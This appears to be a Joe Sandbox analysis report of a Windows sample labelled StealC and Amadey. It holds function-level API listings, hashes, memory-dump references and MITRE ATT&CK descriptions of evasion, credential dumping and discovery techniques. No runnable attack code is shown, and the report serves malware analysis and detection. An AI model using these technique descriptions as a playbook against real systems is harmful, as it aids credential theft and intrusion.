Opcode Fuzzy Hash: cfb3743b5210ce4220ac95e09aec2af620083b755af0e46e3e17bd3f7f9fda42
Instruction Fuzzy Hash: E0110432E09688D7DB049B69C8144EEB775FF96218B449618DC459B702FB30E684C390

Function 6C954730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C9544B2,6C9CE21C,6C9CF7F8), ref: 6C95473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C95474A

Strings

GetNtLoaderAPI, xrefs: 6C954744

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: f0b7f0bd37c71f1c58b544dabeb4463ebdfd4f8cb818d8d21608044b511793e5
Instruction ID: 3dd159d90e6e79effa68781a0d8faa8660e0ffb2d3ac2fb266438ffb8b6eb9f3
Opcode Fuzzy Hash: f0b7f0bd37c71f1c58b544dabeb4463ebdfd4f8cb818d8d21608044b511793e5
Instruction Fuzzy Hash: A0019E763097589FDF00AF66C88461D7BBDEB8B721B244069E90AD7300CB70E911CF92

Function 6C9A6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C9A6E22
__Init_thread_footer.LIBCMT ref: 6C9A6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C9A6E1D

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 4cfee4e10c9622f0899fe02c19cf04673722d845297fdc804dff81cabd816885
Instruction ID: e9d392d36b5b8bdb6ed80ee2efe73eca484f4c81eb15b4288be7059a371b5c3e
Opcode Fuzzy Hash: 4cfee4e10c9622f0899fe02c19cf04673722d845297fdc804dff81cabd816885
Instruction Fuzzy Hash: 86F0593134924CCBDB008BACCA50A813771936B21CF340165C81546B91C721F62FCAA3

Function 6C959E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C959EEF

Strings

NaN, xrefs: 6C959EC1
Infinity, xrefs: 6C959EB7

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: d6b3cb92747f354a7eb06a9cd679a9d66f13d1d701890b99ae44f9f02c0062a5
Instruction ID: 1e1be07c954469fa5f0454c53171ebe82ba03cd99030ef7247f4918356d59a81
Opcode Fuzzy Hash: d6b3cb92747f354a7eb06a9cd679a9d66f13d1d701890b99ae44f9f02c0062a5
Instruction Fuzzy Hash: 6AF0A9B1709241CAEB00CF18E846B813371A35B32EF304A19D9080AB40D735E79ECA97

Function 6C95BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C95BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C95BEF5

Strings

cryptbase.dll, xrefs: 6C95BEF0

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 3389bf477430a64a448241c0b750642c32ddc77457bda172e85cd49dcacc885c
Instruction ID: 2980b1bce44234243986f336db0269e881cf734516eb1b354351b716152f8514
Opcode Fuzzy Hash: 3389bf477430a64a448241c0b750642c32ddc77457bda172e85cd49dcacc885c
Instruction Fuzzy Hash: 35D013313C4108EBD741EB508D19F2937789701715F64C025F75555951C7B1D574CFD5

Function 6C9450E0 Relevance: 5.2, APIs: 4, Instructions: 213COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C944E9C,?,?,?,?,?), ref: 6C94510A
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C944E9C,?,?,?,?,?), ref: 6C945167
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?), ref: 6C945196
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C944E9C), ref: 6C945234

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction ID: 26a84dc7cc4a4cc63166c1e5dd6c72bb7d4f3053807833529120ac117cc55b3d
Opcode Fuzzy Hash: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction Fuzzy Hash: 0C919C35605656CFCB14CF08C490A5ABBA6BF99318B28C68DEC589BB15D331FD42CBE0

Function 6C9808F0 Relevance: 5.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9CE7DC), ref: 6C980918
LeaveCriticalSection.KERNEL32(6C9CE7DC), ref: 6C9809A6
EnterCriticalSection.KERNEL32(6C9CE7DC,?,00000000), ref: 6C9809F3
LeaveCriticalSection.KERNEL32(6C9CE7DC), ref: 6C980ACB

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 8e7786c2f877e340c40d43d09638194e0364acc8119218c2b7df882ecbeadfe8
Instruction ID: 1f298474e75bfcceae7b688085ff8bdaf3088cb7e13df3b3c835d2d0aacfa076
Opcode Fuzzy Hash: 8e7786c2f877e340c40d43d09638194e0364acc8119218c2b7df882ecbeadfe8
Instruction Fuzzy Hash: 71515A32B07A90CBEB089A15C44562533B9EBC2F24B34593ADD6697F80DB31ED11C7D1

Function 6C99B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C99B2C9,?,?,?,6C99B127,?,?,?,?,?,?,?,?,?,6C99AE52), ref: 6C99B628

Part of subcall function 6C9990E0: free.MOZGLUE(?,00000000,?,?,6C99DEDB), ref: 6C9990FF
Part of subcall function 6C9990E0: free.MOZGLUE(?,00000000,?,?,6C99DEDB), ref: 6C999108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C99B2C9,?,?,?,6C99B127,?,?,?,?,?,?,?,?,?,6C99AE52), ref: 6C99B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C99B2C9,?,?,?,6C99B127,?,?,?,?,?,?,?,?,?,6C99AE52), ref: 6C99B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C99B127,?,?,?,?,?,?,?,?), ref: 6C99B74D

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 0870975bb503dcbfe669222e199a290487308c56c99dac065b9e898e48344525
Instruction ID: 43c0f9452aaaffbd88075c98b610969d9d6ff5b9969f00408e3236c9b9b8e2b4
Opcode Fuzzy Hash: 0870975bb503dcbfe669222e199a290487308c56c99dac065b9e898e48344525
Instruction Fuzzy Hash: 2451DF71A05216CFDB24CF58C98076EB7B5FF85B14F19862DC85AABB00D735E904CBA1

Function 6C99DF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C98FF2A), ref: 6C99DFFD

Part of subcall function 6C9990E0: free.MOZGLUE(?,00000000,?,?,6C99DEDB), ref: 6C9990FF
Part of subcall function 6C9990E0: free.MOZGLUE(?,00000000,?,?,6C99DEDB), ref: 6C999108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C98FF2A), ref: 6C99E04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C98FF2A), ref: 6C99E0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C98FF2A), ref: 6C99E0FE

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 42fecd1c8fea0faca9f43beb7a904a0105ed31a1be6d3a48add957e0bb6851b7
Instruction ID: 4dec53cb8992e5f059af1e13a93288e9a5d69797a7c23633c17ca9b95e58cdf2
Opcode Fuzzy Hash: 42fecd1c8fea0faca9f43beb7a904a0105ed31a1be6d3a48add957e0bb6851b7
Instruction Fuzzy Hash: 5141B4B1608216CFEB24CF68D88036A77B6BB45308F2D4939D516DB740E731EA55CB92

Function 6C996E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C996EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C996EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C996F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C996F5C

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: d3fca3f45c860109085b4941e94ceb55382517e096c14ef44ceabd438ed5c7a0
Instruction ID: 92d61b1dfc4b7827636e293f64b30cb2131b42121f7a060e5510302420f27f35
Opcode Fuzzy Hash: d3fca3f45c860109085b4941e94ceb55382517e096c14ef44ceabd438ed5c7a0
Instruction Fuzzy Hash: 8131C371A1060A8FDB44CF2CC9806BA73E9EB85344F64863DD41BD7651EB31E669C7E0

Function 6C9AB580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C950A4D), ref: 6C9AB5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C950A4D), ref: 6C9AB623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C950A4D), ref: 6C9AB66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C950A4D), ref: 6C9AB67F

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 907764dead2c13c050c13c3c273cd4f88ff7d4092ab8268ed25fd33bb945b6b2
Instruction ID: 008ad2746922b72b6285ef9d6d8ac17da5c184df4d19e3bada76a24582c4725d
Opcode Fuzzy Hash: 907764dead2c13c050c13c3c273cd4f88ff7d4092ab8268ed25fd33bb945b6b2
Instruction Fuzzy Hash: 3F31D971A0521A8FDB10CF98C84466ABBF9FF81324F168569C80ADB711DB31E916CBE1

Function 6C97F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C97F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C97F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C97F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C97F668

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 2738a150e84a06d7e443af9904df4498e67e1a7982fb0a3a6879bd7ca09ba07a
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: CD314F71A01614AFCB24CF6DCCC0AAB77B9EF94358B14853DFA499BB04D631E9448BA0

Function 6C9926B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9926C1
free.MOZGLUE(?), ref: 6C9926E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9926FF
free.MOZGLUE ref: 6C99270D

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: e2e83bd022ada4278ab7085a956fdb04f713924742bf1714090c2932e7e46655
Instruction ID: 57a41b4187a28db2570ee79b4ca174c333d95e5042136e8b147e298ac88b7807
Opcode Fuzzy Hash: e2e83bd022ada4278ab7085a956fdb04f713924742bf1714090c2932e7e46655
Instruction Fuzzy Hash: DDF0CDB27016016BFB00DE19DC8495B77ADFF5125CB680035EA16D7F02E732F959C691

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

